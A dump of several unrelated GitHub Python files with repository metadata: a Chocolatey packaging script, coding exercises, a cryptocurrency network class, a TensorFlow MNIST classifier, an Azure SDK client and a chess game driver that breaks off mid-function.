c0ef6f25dc158e69e3d5cf056cd864eb2a8d2f7f
/src/needs refactoring/flyingcarpet.install_gh_releases.py
7e4da93ef2afb166b0eb86fb85311fb6c9ad5c4c
[]
no_license
Starz0r/ChocolateyPackagingScripts
6db8bdbd9cb5c6bdf663b82251e430e3d015b7c2
29cd7b4a1e8369c265f85915d9351cf6c89e1975
refs/heads/master
2023-05-28T07:01:35.233880
2023-05-15T22:03:10
2023-05-15T22:03:10
244,997,143
4
2
null
2022-12-08T07:44:39
2020-03-04T20:27:53
Python
UTF-8
Python
false
false
2,918
py
import os import io import tempfile import subprocess import checksum from pathlib import Path from string import Template from common.common import find_and_replace_templates from common.common import abort_on_nonzero from common.common import get_correct_release_asset from github import Github def main(): # initalize state array state = [] with io.open("flyingcarpet.install.ghstate", "a+") as f: f.seek(0) # why I have to do this is unknown for _, line in enumerate(f): state.append(line) f = io.open("flyingcarpet.install.ghstate", "a+") # connect to github api gh = Github(os.environ['GH_TOKEN']) flyingcarpet = gh.get_repo("spieglt/flyingcarpet") for rel in flyingcarpet.get_releases(): pushed = False for i in range(len(state)): if str(state[i]).replace("\n", "") == str(rel.id): pushed = True break else: continue if not pushed: asset = get_correct_release_asset(rel.get_assets(), "Windows", "CLI") if asset == None: print("no compatible releases, skipping...") f.write(str(rel.id)+"\n") f.flush() continue url = asset.browser_download_url fname = asset.name subprocess.call(["wget", url, "--output-document", "flyingcarpet.zip"]) chksum = checksum.get_for_file("flyingcarpet.zip", "sha512") os.remove("flyingcarpet.zip") tempdir = tempfile.mkdtemp() find_and_replace_templates("flyingcarpet.install", tempdir, rel.tag_name.replace("v", ""), rel.tag_name, url, chksum, fname, None, None, None, rel.body.replace("<", "&lt;") .replace(">", "&gt;") .replace("&", "&amp;") .replace("\u200b", "")) # zero-width space abort_on_nonzero(subprocess.call(["choco", "pack", Path(tempdir)/"flyingcarpet.install.nuspec"])) f.write(str(rel.id)+"\n") f.flush() else: continue f.close() if __name__ == "__main__": main()
[ "starz0r@starz0r.com" ]
starz0r@starz0r.com
af154728bd515ec99a95eaccb6c8f24f5d068a0c
e4b2ffb898f199765aa5d565767b865cd67b9be8
/d006.py
80f3fe437b9ad3fe23b5f8c31bab2827832ffbbd
[]
no_license
sh9in4/paiza_D-rank
d9735da6f3beece2eb39188cbc1f54629c854ca0
cde1a976b44e6e7816b770a8237b7e8bee75225a
refs/heads/master
2022-07-26T17:09:13.258464
2020-05-24T16:40:42
2020-05-24T16:40:42
265,299,320
0
0
null
null
null
null
UTF-8
Python
false
false
136
py
n,s = map(str,input().split(" ")) if s=="km": print(int(n)*1000000) elif s=="m": print(int(n)*1000) else: print(int(n)*10)
[ "65352081+sh9in4@users.noreply.github.com" ]
65352081+sh9in4@users.noreply.github.com
ccd137343ed60e23598ec8c8ad814ccd1564fa22
15d5c79bc5094ab25a9d3f286bb99d30b2598cfa
/network/smurfcoin.py
65c6b19e7bba2ca327a36fa4bfa8bfa33e4274ad
[]
no_license
jabef/clove_bounty
1d4f660969e905fc5fc50e10273d2f2d55df0723
b58bc10b46ba983b890d8e599fb548c7aea2695b
refs/heads/master
2021-04-27T21:41:29.952341
2018-02-19T17:14:15
2018-02-19T17:14:15
122,404,779
0
0
null
2018-02-21T23:01:22
2018-02-21T23:01:21
null
UTF-8
Python
false
false
373
py
from clove.network.bitcoin import Bitcoin class SmurfCoin(Bitcoin): """ Class with all the necessary SmurfCoin network information based on https://github.com/smurfscoin/smf/blob/master/src/net.cpp (date of access: 02/18/2018) """ name = 'smurfcoin' symbols = ('SMF', ) seeds = ("45.55.83.96") port = 43221 # no testnet
[ "noreply@github.com" ]
noreply@github.com
e0354a074c35bf415297f6963026d64d5812ad18
c28e98131b006f7664b9788f19734aa8eb7d1ece
/Calvin/deepmnist.py
8e7b685084a79fb877876c126dbea1729efc587f
[]
no_license
puskasmate/Prog2_forrasok
f589b9454e26cc3baf74e071419c6fa771846d7d
853131e56ea77b899bc2de9054b0cca3fef5a7bf
refs/heads/master
2020-09-19T18:37:24.970748
2019-11-26T19:08:28
2019-11-26T19:08:28
224,265,289
0
0
null
null
null
null
UTF-8
Python
false
false
6,110
py
"""A deep MNIST classifier using convolutional layers. See extensive documentation at https://www.tensorflow.org/get_started/mnist/pros """ # Disable linter warnings to maintain consistency with tutorial. # pylint: disable=invalid-name # pylint: disable=g-bad-import-order from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse import sys import tempfile from tensorflow.examples.tutorials.mnist import input_data import tensorflow as tf import matplotlib.pyplot FLAGS = None def deepnn(x): """deepnn builds the graph for a deep net for classifying digits. Args: x: an input tensor with the dimensions (N_examples, 784), where 784 is the number of pixels in a standard MNIST image. Returns: A tuple (y, keep_prob). y is a tensor of shape (N_examples, 10), with values equal to the logits of classifying the digit into one of 10 classes (the digits 0-9). keep_prob is a scalar placeholder for the probability of dropout. """ # Reshape to use within a convolutional neural net. # Last dimension is for "features" - there is only one here, since images are # grayscale -- it would be 3 for an RGB image, 4 for RGBA, etc. with tf.name_scope('reshape'): x_image = tf.reshape(x, [-1, 28, 28, 1]) # First convolutional layer - maps one grayscale image to 32 feature maps. with tf.name_scope('conv1'): W_conv1 = weight_variable([5, 5, 1, 32]) b_conv1 = bias_variable([32]) h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1) # Pooling layer - downsamples by 2X. with tf.name_scope('pool1'): h_pool1 = max_pool_2x2(h_conv1) # Second convolutional layer -- maps 32 feature maps to 64. with tf.name_scope('conv2'): W_conv2 = weight_variable([5, 5, 32, 64]) b_conv2 = bias_variable([64]) h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2) # Second pooling layer. with tf.name_scope('pool2'): h_pool2 = max_pool_2x2(h_conv2) # Fully connected layer 1 -- after 2 round of downsampling, our 28x28 image # is down to 7x7x64 feature maps -- maps this to 1024 features. with tf.name_scope('fc1'): W_fc1 = weight_variable([7 * 7 * 64, 1024]) b_fc1 = bias_variable([1024]) h_pool2_flat = tf.reshape(h_pool2, [-1, 7*7*64]) h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1) # Dropout - controls the complexity of the model, prevents co-adaptation of # features. with tf.name_scope('dropout'): keep_prob = tf.compat.v1.placeholder(tf.float32) h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob) # Map the 1024 features to 10 classes, one for each digit with tf.name_scope('fc2'): W_fc2 = weight_variable([1024, 10]) b_fc2 = bias_variable([10]) y_conv = tf.matmul(h_fc1_drop, W_fc2) + b_fc2 return y_conv, keep_prob def conv2d(x, W): """conv2d returns a 2d convolution layer with full stride.""" return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME') def max_pool_2x2(x): """max_pool_2x2 downsamples a feature map by 2X.""" return tf.nn.max_pool(x, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME') def weight_variable(shape): """weight_variable generates a weight variable of a given shape.""" initial = tf.compat.v1.truncated_normal(shape, stddev=0.1) return tf.Variable(initial) def bias_variable(shape): """bias_variable generates a bias variable of a given shape.""" initial = tf.constant(0.1, shape=shape) return tf.Variable(initial) def readimg(): file = tf.compat.v1.read_file("sajat8a.png") img = tf.image.decode_png(file, 1) return img def main(_): # Import data tf.compat.v1.disable_eager_execution() mnist = input_data.read_data_sets(FLAGS.data_dir, one_hot=True) # Create the model x = tf.compat.v1.placeholder(tf.float32, [None, 784]) # Define loss and optimizer y_ = tf.compat.v1.placeholder(tf.float32, [None, 10]) # Build the graph for the deep net y_conv, keep_prob = deepnn(x) with tf.name_scope('loss'): cross_entropy = tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=y_conv) cross_entropy = tf.reduce_mean(cross_entropy) with tf.name_scope('adam_optimizer'): train_step = tf.compat.v1.train.AdamOptimizer(1e-4).minimize(cross_entropy) with tf.name_scope('accuracy'): correct_prediction = tf.equal(tf.argmax(y_conv, 1), tf.argmax(y_, 1)) correct_prediction = tf.cast(correct_prediction, tf.float32) accuracy = tf.reduce_mean(correct_prediction) graph_location = tempfile.mkdtemp() print('Saving graph to: %s' % graph_location) train_writer = tf.compat.v1.summary.FileWriter(graph_location) train_writer.add_graph(tf.compat.v1.get_default_graph()) with tf.compat.v1.Session() as sess: sess.run(tf.compat.v1.global_variables_initializer()) for i in range(20000): batch = mnist.train.next_batch(50) if i % 100 == 0: train_accuracy = accuracy.eval(feed_dict={ x: batch[0], y_: batch[1], keep_prob: 1.0}) print('step %d, training accuracy %g' % (i, train_accuracy)) train_step.run(feed_dict={x: batch[0], y_: batch[1], keep_prob: 0.5}) print('test accuracy %g' % accuracy.eval(feed_dict={ x: mnist.test.images, y_: mnist.test.labels, keep_prob: 1.0})) img = readimg() image = img.eval() image = image.reshape(28*28) matplotlib.pyplot.imshow(image.reshape(28, 28), cmap=matplotlib.pyplot.cm.binary) matplotlib.pyplot.savefig("nyolc.png") matplotlib.pyplot.show() classification = sess.run(tf.argmax(y_conv, 1), feed_dict={x: [image], keep_prob: 1.0}) print("-- Ezt a halozat ennek ismeri fel: ", classification[0]) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--data_dir', type=str, default='/tmp/tensorflow/mnist/input_data', help='Directory for storing input data') FLAGS, unparsed = parser.parse_known_args() tf.compat.v1.app.run(main=main, argv=[sys.argv[0]] + unparsed)
[ "puskasmate2000@gmail.com" ]
puskasmate2000@gmail.com
35f29c45b197e4548a136c41d7327713ec3fd161
8ca3384f8f46d66686ad9e81718b1fcdf69d087b
/Lab4/4.2.py
b91bcaacae7875da8839f0fd1a84edb529054bc7
[]
no_license
DudekKonrad/Python2020
e133f417781ad2eaae5f9a8648144059375900ed
9eea613bda6b1682dc47f086806e77ce11a41b7f
refs/heads/main
2023-03-05T05:54:13.907396
2021-02-09T20:01:18
2021-02-09T20:01:18
307,467,084
0
0
null
null
null
null
UTF-8
Python
false
false
669
py
def draw_table(): x = input("Enter x value: ") y = input("Enter y value: ") top = "" mid = "" result = "" for i in range(int(y)): top += "+---" mid += "| " result += top + "+\n" for i in range(int(x)): result += mid + "|\n" result += top + "+\n" return result def draw_ruler(): x = input("Enter length of ruler: ") x = int(x) ruler = "" ruler += "|" ruler_down = "0" for i in range(x): ruler += "....|" for i in range(x): i += 1 to_add = '{:>5}'.format(i) ruler_down += to_add ruler += "\n" + ruler_down return ruler print("Drawing table function test") print(draw_table()) print("Drawing ruler function test") print(draw_ruler())
[ "noreply@github.com" ]
noreply@github.com
6edf173e645aa482d70942d9c14aeff463c3997c
6a5ce7d885db1baa5a9d43b26f0ae623a5ef0f01
/azure-mgmt-network/azure/mgmt/network/operations/virtual_networks_operations.py
1456322d7c77268112526c588cb0e745cae281e7
[ "Apache-2.0" ]
permissive
JammyBrand82/azure-sdk-for-python
333af194ff9143ec77f49203a5a71f15c399f278
c65e189cd41bd3464556b17bfcdee1303867996c
refs/heads/master
2021-01-17T18:31:10.661151
2016-03-17T21:03:08
2016-03-17T21:03:08
null
0
0
null
null
null
null
UTF-8
Python
false
false
17,268
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft and contributors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.pipeline import ClientRawResponse from msrestazure.azure_exceptions import CloudError from msrestazure.azure_operation import AzureOperationPoller import uuid from .. import models class VirtualNetworksOperations(object): """VirtualNetworksOperations operations. :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An objec model deserializer. """ def __init__(self, client, config, serializer, deserializer): self._client = client self._serialize = serializer self._deserialize = deserializer self.config = config def delete( self, resource_group_name, virtual_network_name, custom_headers={}, raw=False, **operation_config): """ The Delete VirtualNetwork operation deletes the specifed virtual network :param resource_group_name: The name of the resource group. :type resource_group_name: str :param virtual_network_name: The name of the virtual network. :type virtual_network_name: str :param dict custom_headers: headers that will be added to the request :param boolean raw: returns the direct response alongside the deserialized response :rtype: None :rtype: msrest.pipeline.ClientRawResponse if raw=True """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualnetworks/{virtualNetworkName}' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'virtualNetworkName': self._serialize.url("virtual_network_name", virtual_network_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request def long_running_send(): request = self._client.delete(url, query_parameters) return self._client.send(request, header_parameters, **operation_config) def get_long_running_status(status_link, headers={}): request = self._client.get(status_link) request.headers.update(headers) return self._client.send( request, header_parameters, **operation_config) def get_long_running_output(response): if response.status_code not in [202, 204, 200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp if raw: client_raw_response = ClientRawResponse(None, response) return client_raw_response long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout) def get( self, resource_group_name, virtual_network_name, expand=None, custom_headers={}, raw=False, **operation_config): """ The Get VirtualNetwork operation retrieves information about the specified virtual network. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param virtual_network_name: The name of the virtual network. :type virtual_network_name: str :param expand: expand references resources. :type expand: str :param dict custom_headers: headers that will be added to the request :param boolean raw: returns the direct response alongside the deserialized response :rtype: VirtualNetwork :rtype: msrest.pipeline.ClientRawResponse if raw=True """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualnetworks/{virtualNetworkName}' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'virtualNetworkName': self._serialize.url("virtual_network_name", virtual_network_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') if expand is not None: query_parameters['$expand'] = self._serialize.query("expand", expand, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('VirtualNetwork', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def create_or_update( self, resource_group_name, virtual_network_name, parameters, custom_headers={}, raw=False, **operation_config): """ The Put VirtualNetwork operation creates/updates a virtual network in the specified resource group. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param virtual_network_name: The name of the virtual network. :type virtual_network_name: str :param parameters: Parameters supplied to the create/update Virtual Network operation :type parameters: VirtualNetwork :param dict custom_headers: headers that will be added to the request :param boolean raw: returns the direct response alongside the deserialized response :rtype: VirtualNetwork :rtype: msrest.pipeline.ClientRawResponse if raw=True """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualnetworks/{virtualNetworkName}' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'virtualNetworkName': self._serialize.url("virtual_network_name", virtual_network_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameters, 'VirtualNetwork') # Construct and send request def long_running_send(): request = self._client.put(url, query_parameters) return self._client.send( request, header_parameters, body_content, **operation_config) def get_long_running_status(status_link, headers={}): request = self._client.get(status_link) request.headers.update(headers) return self._client.send( request, header_parameters, **operation_config) def get_long_running_output(response): if response.status_code not in [200, 201]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('VirtualNetwork', response) if response.status_code == 201: deserialized = self._deserialize('VirtualNetwork', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout) def list_all( self, custom_headers={}, raw=False, **operation_config): """ The list VirtualNetwork returns all Virtual Networks in a subscription :param dict custom_headers: headers that will be added to the request :param boolean raw: returns the direct response alongside the deserialized response :rtype: VirtualNetworkPaged :rtype: msrest.pipeline.ClientRawResponse if raw=True """ def internal_paging(next_link=None, raw=False): if not next_link: # Construct URL url = '/subscriptions/{subscriptionId}/providers/Microsoft.Network/virtualnetworks' path_format_arguments = { 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') else: url = next_link query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp return response # Deserialize response deserialized = models.VirtualNetworkPaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.VirtualNetworkPaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized def list( self, resource_group_name, custom_headers={}, raw=False, **operation_config): """ The list VirtualNetwork returns all Virtual Networks in a resource group :param resource_group_name: The name of the resource group. :type resource_group_name: str :param dict custom_headers: headers that will be added to the request :param boolean raw: returns the direct response alongside the deserialized response :rtype: VirtualNetworkPaged :rtype: msrest.pipeline.ClientRawResponse if raw=True """ def internal_paging(next_link=None, raw=False): if not next_link: # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualnetworks' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') else: url = next_link query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp return response # Deserialize response deserialized = models.VirtualNetworkPaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.VirtualNetworkPaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized
[ "lmazuel@microsoft.com" ]
lmazuel@microsoft.com
28cdf23ba6932205fb87d039285223d685aa7c3b
edd367661e286d2a9eaea28cb181ac8b8f8d79f6
/listas2.py
3dac1268735b141d96ec201be3633be28e696bf9
[]
no_license
Angelooger/Tarea-07-2
8bf4213e7db8da9a2a41c82a727b82d2262f9348
384d86a17a2860d8c162b96d5a773622328ea21f
refs/heads/master
2021-08-14T20:14:04.007019
2017-11-16T17:42:51
2017-11-16T17:42:51
109,539,312
0
0
null
2017-11-05T00:05:54
2017-11-05T00:05:53
null
UTF-8
Python
false
false
7,733
py
# encondig:UTF-8 #Autor Angel Ramírez Martínez A01273759 #Descripción: Programa que realiza diferentes operaciones con listas #Determinación de variables globales con listas. lista1 = [1,2,3,4,5] lista2 = [] lista3 = [5] lista4=[1,0,3,2,8,5] lista5=[1,1,1,2,3,4,5,6,6,6,7] lista6=[1,2,3] lista7=[1,3,2,4,8,6,9,7,8] lista8=[6,9] lista9=[95,21,73,24,15,69,71,80,49,100,85] #Función que encuentra los pares de una lista que le llega como parámetro. def encontrarPares(lista): listaPares=[] for element in lista: if element%2==0: listaPares.append(element) return listaPares #Función que regresa los regresa una lista con los valores que son mayores a un elemento previo de la lista original def regresarElementosMayores(lista): listaMayores=[] for index in range(len(lista)): if index<len(lista)-1: if lista[index]<lista[index+1]: listaMayores.append(lista[index+1]) return listaMayores def intercambiarElementos(lista): elementosIntercabiados=[] if len(lista)%2==0: for index in range(0,len(lista),2): elementosIntercabiados.append(lista[index+1]) elementosIntercabiados.append(lista[index]) return elementosIntercabiados else: for index in range(0,len(lista)-1,2): elementosIntercabiados.append(lista[index+1]) elementosIntercabiados.append(lista[index]) elementosIntercabiados.append(lista[len(lista)-1]) return elementosIntercabiados def cambiarValoresMaxyMin(lista): maxyMinIntercambiados = lista[:] if len(lista)>=2: for index in range(len(lista)): if lista[index]== min(lista): indexminimo=index elif lista[index]==max(lista): indexmaximo=index maxyMinIntercambiados.remove(lista[indexminimo]) maxyMinIntercambiados.remove(lista[indexmaximo]) maxyMinIntercambiados.insert(indexmaximo-1,lista[indexminimo]) maxyMinIntercambiados.insert(indexminimo,lista[indexmaximo]) return maxyMinIntercambiados return maxyMinIntercambiados def regresarDatosMayoresaPromedio(lista): if len(lista)>0: promedio=sum(lista)/len(lista) elementosMayores=0 for element in lista: if element>=promedio: elementosMayores+=1 return elementosMayores else: return 0 def regresarPromedio(lista): if len(lista)>0: promedio=sum(lista)/len(lista) return promedio else: return 0 def regresarElementosMayoresalPromedio(lista): if len(lista)>0: promedio = sum(lista) / len(lista) mayoresalPromedio=[] for elemento in lista: if elemento>=promedio: mayoresalPromedio.append(elemento) return mayoresalPromedio else: return 0 def calcularMediayDesviacion(lista): if len(lista)>1: suma=0 media= sum(lista) / len(lista) for element in lista: dif=(element-media)**2 suma+=dif desviacion=(suma/(len(lista)-1))**(1/2) return media,desviacion return (0,0) def main(): print('''\nProblema #1 regresa una lista con los elementos pares de la lista original. • La lista %s, regresa la lista de los elementos pares %s • La lista %s, regresa la lista de los elementos pares %s • La lista %s, regresa la lista de los elementos pares %s • La lista %s, regresa la lista de los elementos pares %s ''' %(lista1,encontrarPares(lista1),lista2,encontrarPares(lista2),lista3,encontrarPares(lista3),lista5,encontrarPares(lista5))) print('''\nProblema #2 regresa una lista con los valores que son mayores a un elemento previo de la lista original. • La lista %s, regresa la lista con los valores que son mayores a un elemento previo %s • La lista %s, regresa la lista con los valores que son mayores a un elemento previo %s • La lista %s, regresa la lista con los valores que son mayores a un elemento previo %s • La lista %s, regresa la lista con los valores que son mayores a un elemento previo %s ''' % (lista1, regresarElementosMayores(lista1), lista2, regresarElementosMayores(lista2), lista3, regresarElementosMayores(lista3), lista5,regresarElementosMayores(lista5))) print('''\nProblema #3 regresa una lista con los elementos invertidos por pareja de la lista original (si la lista es de un número impar de elementos el último no cambia ) • La lista %s, regresa la lista de los elementos invertidos %s • La lista %s, regresa la lista de los elementos invertidos %s • La lista %s, regresa la lista de los elementos invertidos %s • La lista %s, regresa la lista de los elementos invertidos %s • La lista %s, regresa la lista de los elementos invertidos %s ''' % (lista7, intercambiarElementos(lista7), lista6, intercambiarElementos(lista6),lista2,intercambiarElementos(lista2), lista3, intercambiarElementos(lista3), lista5,intercambiarElementos(lista5))) print('''\nProblema #4 regresa una lista de los elementos máximo y mínimo invertidos de acuerdo a la lista original. • La lista %s, regresa la lista de los elementos máximo y mínimo invertidos %s • La lista %s, regresa la lista de los elementos máximo y mínimo invertidos %s • La lista %s, regresa la lista de los elementos máximo y mínimo invertidos %s • La lista %s, regresa la lista de los elementos máximo y mínimo invertidos %s • La lista %s, regresa la lista de los elementos máximo y mínimo invertidos %s ''' % (lista7, cambiarValoresMaxyMin(lista7), lista6, cambiarValoresMaxyMin(lista6),lista2,cambiarValoresMaxyMin(lista2),lista3, cambiarValoresMaxyMin(lista3),lista8, cambiarValoresMaxyMin(lista8))) print('''\nProblema #5 regresa el número de elementos mayores o iguales al promedio de la lista original. • La lista %s, regresa %s elementos que son mayores o iguales al promedio %.2f %s • La lista %s, regresa %s elementos que son mayores o iguales al promedio %.2f %s • La lista %s, regresa %s elementos que son mayores o iguales al promedio %.2f %s • La lista %s, regresa %s elementos que son mayores o iguales al promedio %.2f %s • La lista %s, regresa %s elementos que son mayores o iguales al promedio %.2f %s ''' % (lista1, regresarDatosMayoresaPromedio(lista1),regresarPromedio(lista1), regresarElementosMayoresalPromedio(lista1), lista4, regresarDatosMayoresaPromedio(lista4),regresarPromedio(lista4), regresarElementosMayoresalPromedio(lista4), lista2, regresarDatosMayoresaPromedio(lista2),regresarPromedio(lista2), regresarElementosMayoresalPromedio(lista2),lista3,regresarDatosMayoresaPromedio(lista3),regresarPromedio(lista3),regresarElementosMayoresalPromedio(lista3),lista7, regresarDatosMayoresaPromedio(lista7),regresarPromedio(lista7), regresarElementosMayoresalPromedio(lista7))) m1, de1=calcularMediayDesviacion(lista1) m2, dE2=calcularMediayDesviacion(lista2) m3, dE3=calcularMediayDesviacion(lista3) m4, dE4=calcularMediayDesviacion(lista4) m5,dE5=calcularMediayDesviacion(lista9) print('''\nProblema #6 regresa una dupla con la media y la desviación estándar, de acuerdo a la lista original. • La lista %s, regresa una dupla con la media y la desviación estándar (%.2f,%.6f) • La lista %s, regresa una dupla con la media y la desviación estándar (%d,%d) • La lista %s, regresa una dupla con la media y la desviación estándar (%d,%d) • La lista %s, regresa una dupla con la media y la desviación estándar (%.2f,%.6f) • La lista %s, regresa una dupla con la media y la desviación estándar (%.2f,%.6f) ''' % (lista1, m1,de1,lista2,m2,dE2, lista3, m3,dE3, lista4, m4,dE4,lista9, m5,dE5)) main()
[ "angelooger@gmail.com" ]
angelooger@gmail.com
593284d3bb1f3982f388cb411d8df955f615f388
442487f384070c6e23b0b30d40113e111a8cfa01
/ChessMain.py
6984bb7ab6aefb2c5c12deb091b70d275fbb51cc
[]
no_license
xelathan/ChessPython
df800e88a070fca8e57925d347ae5da0616b0901
f4ec33784d58a9e0190d65071ffeeedc2cb30623
refs/heads/master
2023-07-27T06:32:58.026874
2021-09-08T20:31:07
2021-09-08T20:31:07
402,913,574
0
0
null
null
null
null
UTF-8
Python
false
false
3,809
py
""" driver file - handles user input and displays current GameState object """ import sys import pygame as p import pygame.image import ChessEngine WIDTH = HEIGHT = 512 DIMENSION = 8 #Chessboard 8x8 SQ_SIZE = HEIGHT // DIMENSION #Size of squares MAX_FPS = 15 #For animations IMAGES = {} """ Load Images - init global dictionary of images. Called once in the main file Scales the Image too """ def loadImages(): pieces = ["wp", "wR", "wN", "wB", "wK", "wQ", "bp", "bR", "bN", "bB", "bK", "bQ"] for piece in pieces: IMAGES[piece] = p.transform.scale(p.image.load('chess_assets/' + piece + '.png'), (SQ_SIZE, SQ_SIZE)) #Access Image by using key """ Main Driver - user input and update graphics """ def main(): p.init() screen = p.display.set_mode((WIDTH, HEIGHT)) clock = p.time.Clock() screen.fill(p.Color("white")) gs = ChessEngine.GameState() validMoves = gs.getValidMoves() moveMade = False #flag var when a move is made loadImages() #only do this once running = True sqSelected = () #no sq is selected initially playerClicks = [] #keeps track of player clicks (2 tuples : [(6, 4), (4, 4)]) while running: for event in pygame.event.get(): if event.type == p.QUIT: running = False sys.exit() elif event.type == p.MOUSEBUTTONDOWN: location = p.mouse.get_pos() #(x,y) location of the mouse col = location[0] // SQ_SIZE row = location[1] // SQ_SIZE if sqSelected == (row, col): #user clicked the same square twice then deselect sqSelected = () playerClicks = [] else: sqSelected = (row, col) playerClicks.append(sqSelected) #append for both 1st and 2nd clicks if len(playerClicks) == 2: #check to see if it is the 2nd click move = ChessEngine.Move(playerClicks[0], playerClicks[1], gs.board) print(move.getChessNotation()) for i in range(len(validMoves)): if move == validMoves[i]: 